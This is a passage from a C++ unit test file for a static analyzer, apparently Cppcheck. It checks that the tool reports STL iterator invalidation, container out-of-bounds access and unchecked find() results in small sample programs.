std::list::const_iterator i;\\n\"\n \" bar(i);\\n\"\n \" cout << *i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseErase() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" ints.erase(iter);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:1] -> [test.cpp:4] -> [test.cpp:5] -> [test.cpp:1] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:1:31] -> [test.cpp:4:22] -> [test.cpp:5:10] -> [test.cpp:1:27] -> [test.cpp:6:16]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void eraseByValue() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::set foo;\\n\"\n \" for (std::set::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(*it);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Iterator 'it' becomes invalid when deleted by value from 'foo'\\n\", \"\", errout_str());\n\n check(\"int f(std::set foo) {\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \" return *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12] -> [test.cpp:3:5]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::set foo)\\n\"\n \"{\\n\"\n \" std::set::iterator it = foo.begin();\\n\"\n \" foo.erase(*it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5669\n check(\"void f() {\\n\"\n \" HashSet_Ref::iterator aIt = m_ImplementationMap.find( xEle );\\n\"\n \" m_SetLoadedFactories.erase(*aIt);\\n\"\n \" m_SetLoadedFactories.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*aIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Invalid iterator: aIt [invalidIterator1]\\n\", errout_str());\n\n check(\"void f(const std::list& m_ImplementationMap) {\\n\"\n \" std::list::iterator aIt = m_ImplementationMap.begin();\\n\"\n \" std::list::iterator bIt = m_ImplementationMap.begin();\\n\"\n \" m_ImplementationMap.erase(*bIt);\\n\"\n \" m_ImplementationMap.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIf() {\n // #4816\n check(\"void func(std::list strlist) {\\n\"\n \" for (std::list::iterator str = strlist.begin(); str != strlist.end(); str++) {\\n\"\n \" if (func2(*str)) {\\n\"\n \" strlist.erase(str);\\n\"\n \" if (strlist.empty())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5] -> [test.cpp:4:26]: (error) Iterator 'str' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void eraseOnVector() {\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" v.erase(something(unknown));\\n\" // All iterators become invalidated when erasing from std::vector\n \" v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:13]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" std::vector::iterator aIt = v.begin();\\n\"\n \" std::vector::iterator bIt = v.begin();\\n\"\n \" v.erase(bIt);\\n\" // All iterators become invalidated when erasing from std::vector\n \" aIt = v.erase(aIt);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:45] -> [test.cpp:4:7] -> [test.cpp:1:26] -> [test.cpp:5:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback1() {\n check(\"void f(const std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" *it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:32] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.push_back(123);\\n\"\n \" {\\n\"\n \" int *it = &foo[0];\\n\"\n \" *it = 456;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" ints.push_back(1);\\n\"\n \" int *first = &ints[0];\\n\"\n \" ints.push_back(2);\\n\"\n \" *first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:6]: (error) Using pointer to local variable 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector::const_iterator i;\\n\"\n \"\\n\"\n \" for (i=v.begin(); i!=v.end(); ++i)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"\\n\"\n \" for (i=rhs.v.begin(); i!=rhs.v.end(); ++i)\\n\"\n \" {\\n\"\n \" v.push_back(*i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback6() {\n // ticket #735\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(1);\\n\"\n \" v.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector v;\\n\"\n \" vector.push_back(1);\\n\"\n \" vector.push_back(2);\\n\"\n \" for (std::vector::iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 1)\\n\"\n \" v.push_back(10);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:49] -> [test.cpp:8:17] -> [test.cpp:8:17] -> [test.cpp:6:56] -> [test.cpp:9:15] -> [test.cpp:3:22] -> [test.cpp:6:53]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback7() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); it++)\\n\"\n \" {\\n\"\n \" foo.push_back(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback8() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator end = ints.end();\\n\"\n \" ints.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" unsigned int sum = 0;\\n\"\n \" for (it = ints.begin(); it != end; ++it)\\n\"\n \" {\\n\"\n \" sum += *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:4:52] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:8:35]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback9() {\n check(\"struct A {\\n\"\n \" std::vector ints;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" A a;\\n\"\n \" std::vector::const_iterator i = ints.begin();\\n\"\n \" std::vector::const_iterator e = ints.end();\\n\"\n \" while (i != e)\\n\"\n \" {\\n\"\n \" a.ints.push_back(*i);\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback10() {\n check(\"void f(std::vector &foo)\\n\"\n \"{\\n\"\n \" std::vector::const_iterator it = foo.begin();\\n\"\n \" foo.reserve(100);\\n\"\n \" *it = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:3:52] -> [test.cpp:4:9] -> [test.cpp:1:26] -> [test.cpp:5:6]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // in loop\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(10);\\n\"\n \" std::vector::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.reserve(123);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:24] -> [test.cpp:6:31] -> [test.cpp:8:13] -> [test.cpp:3:22] -> [test.cpp:6:28]: (error) Using iterator to local container 'foo' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void pushback11() {\n // #2798\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator it = ints.begin();\\n\"\n \" if (it == ints.begin()) {\\n\"\n \" ints.push_back(0);\\n\"\n \" } else {\\n\"\n \" ints.insert(it,0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pushback12() {\n // #4197\n check(\"void foo(double s)\\n\"\n \"{\\n\"\n \" std::vector vec;\\n\"\n \" for( std::vector::iterator it = vec.begin(); it != vec.end(); ++it )\\n\"\n \" {\\n\"\n \" vec.insert( it, s );\\n\"\n \" for(unsigned int i = 0; i < 42; i++)\\n\"\n \" {}\\n\"\n \" *it;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:54] -> [test.cpp:6:13] -> [test.cpp:3:25] -> [test.cpp:9:10]: (error, inconclusive) Using iterator to local container 'vec' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n }\n\n void pushback13() {\n check(\"bool Preprocessor::ConcatenateIncludeName(SmallString<128> &FilenameBuffer, SourceLocation &End) {\\n\"\n \" unsigned PreAppendSize = FilenameBuffer.size();\\n\"\n \" FilenameBuffer.resize(PreAppendSize + CurTok.getLength());\\n\"\n \" const char *BufPtr = &FilenameBuffer[PreAppendSize];\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void insert1() {\n check(\"void f(std::vector &ints)\\n\"\n \"{\\n\"\n \" std::vector::iterator iter = ints.begin() + 5;\\n\"\n \" ints.insert(ints.begin(), 1);\\n\"\n \" ++iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:30] -> [test.cpp:3:49] -> [test.cpp:4:10] -> [test.cpp:1:26] -> [test.cpp:5:7]: (error) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::iterator iter = ints.begin();\\n\"\n \" ints.insert(iter, 1);\\n\"\n \" ints.insert(iter, 2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:49] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:17]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:16]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"Foo f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(Bar());\\n\"\n \" return i->foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:35] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:31] -> [test.cpp:4:12]: (error) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void f(const std::vector& bars) {\\n\"\n \" for(std::vector::iterator i = bars.begin(); i != bars.end(); ++i) {\\n\"\n \" bars.insert(i, bar);\\n\"\n \" i = bars.insert(i, bar);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:36] -> [test.cpp:2:50] -> [test.cpp:3:14] -> [test.cpp:1:32] -> [test.cpp:4:25]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // TODO: This shouldn't be inconclusive\n check(\"void* f(const std::vector& bars) {\\n\"\n \" std::vector::iterator i = bars.begin();\\n\"\n \" bars.insert(i, Bar());\\n\"\n \" i = bars.insert(i, Bar());\\n\"\n \" void* v = &i->foo;\\n\"\n \" return v;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:37] -> [test.cpp:2:46] -> [test.cpp:3:10] -> [test.cpp:1:33] -> [test.cpp:4:21]: (error, inconclusive) Using iterator to local container 'bars' that may be invalid. [invalidContainer]\\n\", errout_str());\n }\n\n void insert2() {\n // Ticket: #2169\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &vec) {\\n\"\n \" for(std::vector::iterator iter = vec.begin(); iter != vec.end(); ++iter)\\n\"\n \" {\\n\"\n \" if (*it == 0) {\\n\"\n \" vec.insert(iter, 0);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void popback1() { // #11553\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.pop_back();\\n\"\n \" std::list l;\\n\"\n \" l.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (error) Out of bounds access in expression 'v.pop_back()' because 'v' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:16]: (error) Out of bounds access in expression 'l.pop_front()' because 'l' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" if (v.empty()) {}\\n\"\n \" v.pop_back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Either the condition 'v.empty()' is redundant or expression 'v.pop_back()' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" v.pop_back();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries1() {\n const std::string stlCont[] = {\n \"list\", \"set\", \"multiset\", \"map\", \"multimap\"\n };\n\n for (size_t i = 0; i < getArrayLength(stlCont); ++i) {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::\" + stlCont[i] + \"::iterator it;\\n\"\n \" for (it = ab.begin(); it < ab.end(); ++it)\\n\"\n \" ;\\n\"\n \"}\");\n\n ASSERT_EQUALS_MSG(\"[test.cpp:4:25]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str(), stlCont[i]);\n }\n\n check(\"void f() {\\n\"\n \" std::forward_list::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // #5926 no FP Dangerous comparison using operator< on iterator on std::deque\n check(\"void f() {\\n\"\n \" std::deque::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries2() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector files;\\n\"\n \" std::vector::const_iterator it;\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { }\\n\"\n \" for (it = files.begin(); it < files.end(); it++) { };\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void stlBoundaries3() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" set files;\\n\"\n \" set::const_iterator current;\\n\"\n \" for (current = files.begin(); current != files.end(); ++current)\\n\"\n \" {\\n\"\n \" assert(*current < 100)\\n\"\n \" }\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" static set::const_iterator current;\\n\"\n \" return 25 > current->bar;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid iterator 'current' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries4() {\n\n check(\"void f() {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:36]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n\n // don't crash\n check(\"void f() {\\n\"\n \" if (list < 0) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (list < 0) {\\n\"\n \" std::forward_list>>::iterator it;\\n\"\n \" for (it = ab.begin(); ab.end() > it; ++it) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void stlBoundaries5() {\n check(\"class iterator { int foo(); };\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class iterator {\\n\"\n \" Class operator*();\\n\"\n \" iterator& operator++();\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" iterator i;\\n\"\n \" return i.foo();;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error, inconclusive) Invalid iterator 'i' used. [eraseDereference]\\n\", errout_str());\n }\n\n void stlBoundaries6() { // #7106\n check(\"void foo(std::vector& vec) {\\n\"\n \" for (Function::iterator BB : vec) {\\n\"\n \" for (int Inst : *BB)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void if_find() {\n // ---------------------------\n // set::find\n // ---------------------------\n\n // error (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s->find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(std::vector > s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // error (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok (simple)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (s.find(123) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(12) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array-like pointer)\n check(\"void f(std::set *s)\\n\"\n \"{\\n\"\n \" if (s[0].find(12) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (array)\n check(\"void f(std::set s [10])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (undefined length array)\n check(\"void f(std::set s [])\\n\"\n \"{\\n\"\n \" if (s[0].find(123) != s->end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (assignment)\n check(\"void f(std::set s)\\n\"\n \"{\\n\"\n \" if (a || (x = s.find(12)) != s.end()) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (dereference, #6402)\n check(\"void f(std::set s) {\\n\"\n \" if (s.find(12).member) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set s) {\\n\"\n \" if (auto result = s.find(123); result != s.end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ---------------------------\n // std::find\n // ---------------------------\n\n // error\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Suspicious condition. The result of find() is an iterator, but it is not properly checked. [stlIfFind]\\n\", errout_str());\n\n // ok\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (std::find(a,b,c) != c) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ok (less than comparison, #6217)\n check(\"void f(std::vector s)\\n\"\n \"{\\n\"\n \" if (std::find(a, b, c) < d) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3714 - segmentation fault for syntax error\n ASSERT_THROW_INTERNAL(check(\"void f() {\\n\"\n \" if (()) { }\\n\"\n \"}\"),\n AST);\n\n // #3865\n check(\"void f() {\\n\"\n \" if ((std::find(a,b,c)) != b) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void if_str_find() {\n // error (simple)\n check(\"void f(const std::string &s)\\n\"\n \"{\\n\"\n \" if (s.find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if ((*s).find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (pointer)\n check(\"void f(const std::string *s)\\n\"\n \"{\\n\"\n \" if (s->find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // error (vector)\n check(\"void f(const std::vector &s)\\n\"\n \"{\\n\"\n \" if (s[0].find(\\\"abc\\\")) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #3162\n check(\"void f(const std::string& s1, const std::string& s2)\\n\"\n \"{\\n\"\n \" if ((!s1.empty()) && (0 == s1.find(s2))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (performance) Inefficient usage of string::find() in condition; string::starts_with() could be faster. [stlIfStrFind]\\n\", errout_str());\n\n // #4102\n check(\"void f(const std::string &define) {\\n\"\n \" if (define.find(\\\"=\\\") + 1U == define.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a, std::string b) {\\n\" // #4480\n \" if (a.find(\\\"<\\\") < b.find(\\\">\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\"\n \" if (foo(s.find(\\\"abc\\\"))) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7349 - std::string::find_first_of\n check(\"void f(const std::string &s) {\\n\"\n \" if (s.find_first_of(\\\"abc\\\")==0) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 10153\n check(\"int main() {\\n\"\n \" for (;;) {\\n\"\n \" std::string line = getLine();\\n\"\n \" if (line.find(\\\" GL_EXTENSIONS =\\\") < 12)\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void size1() {\n {\n const char code[] = \"struct Fred {\\n\"\n \" void foo();\\n\"\n \" std::list x;\\n\"\n \"};\\n\"\n \"void Fred::foo()\\n\"\n \"{\\n\"\n \" if (x.size() == 0) {}\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"[test.cpp:7:9]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", errout_str());\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n const char code[] = 